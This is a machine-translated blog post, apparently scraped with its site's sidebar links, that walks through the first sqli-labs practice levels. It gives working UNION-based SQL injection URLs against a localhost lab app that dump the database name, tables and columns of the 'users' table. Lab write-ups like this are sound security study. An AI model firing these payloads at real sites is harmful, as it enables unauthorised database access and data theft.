当前位置:网站首页>Summary of the first three passes of sqli Labs
Summary of the first three passes of sqli Labs
2022-07-02 15:27:00 【[email protected]】
Catalog
Their thinking
First of all, we need to judge whether it exists sql Inject holes , Look for the injection point ,SQL There are usually two types of injection , Plastic injection and character injection , If we want to judge which kind of injection this is, we need to analyze the error reporting statements here , Input –+ take sql After the following statement is commented out , You can judge the type by finding out whether the page echo is normal , Then use order by Sentence judgment , There are several columns of data in this table , And then id=1 Change to a database that doesn't exist id value , Such as -1, Use union select 1,2,3 Joint query statement to see whether the page has display bits , The last is to explode the library , Explosion meter , Pop field .
Blast storage
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()–+
Explosion meter
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
Pop field
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’–+
summary
group_concat() function
group_concat() Which lines belong to the same group , Show columns that belong to the same group . Which columns to return , By function parameter ( Is the field name ) decision . There must be a standard for grouping , It is based on group by The specified columns are grouped , That is, it is used to put SQL The results of statements are spliced together .
--
stay SQL Inside is a comment , But in URL in , If you add at the end -- , When the browser sends the request, it will send URL The space at the end is rounded off , So we use –+ Instead of -- , as a result of + stay URL By URL After encoding, it will become a space .
order by
By using order by Sentence to judge , There are several columns of data in this table .( The judgment method is whether the page echo is normal ).
union
Combine two result sets , Do not include repeating lines , At the same time, sort the default rules ;union Duplicate records will be filtered out after table linking , Therefore, after the table is linked, the generated result set will be sorted , Delete duplicate records and return results . On the left of the question select The clause query results are empty , that union The query result on the right naturally becomes the first row , Printed on the web page . take id Change to -1, send union The previous statement reports an error , It'll do the following .
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202151501338110.html
边栏推荐
猜你喜欢
The past and present lives of visual page building tools
TiDB数据迁移工具概览
Be a good gatekeeper on the road of anti epidemic -- infrared thermal imaging temperature detection system based on rk3568
16_Redis_Redis持久化
【网络安全】网络资产收集
20_Redis_哨兵模式
让您的HMI更具优势,FET-G2LD-C核心板是个好选择
飞凌嵌入式RZ/G2L处理器核心板及开发板上手评测
. Net core logging system
YOLOV5 代码复现以及搭载服务器运行
随机推荐
The traversal methods of binary tree mainly include: first order traversal, middle order traversal, second order traversal, and hierarchical traversal. First order, middle order, and second order actu
Kibana basic operation
17_Redis_Redis发布订阅
使用 TiUP 部署 TiDB 集群
党史纪实主题公益数字文创产品正式上线
学习使用php实现公历农历转换的方法代码
二叉树的遍历方式主要有:先序遍历、中序遍历、后序遍历、层次遍历。先序、中序、后序其实指的是父节点被访问的次序。若在遍历过程中,父节点先于它的子节点被访问,就是先序遍历;
[noi Simulation Competition] scraping (dynamic planning)
Tidb data migration tool overview
yolo格式数据集处理(xml转txt)
2021-2022學年編譯原理考試重點[華僑大學]
Base64 coding can be understood this way
[solution] educational codeforces round 82
15_Redis_Redis.conf详解
20_Redis_哨兵模式
05_ queue
02_线性表_顺序表
Table responsive layout tips
Map introduction
Map介绍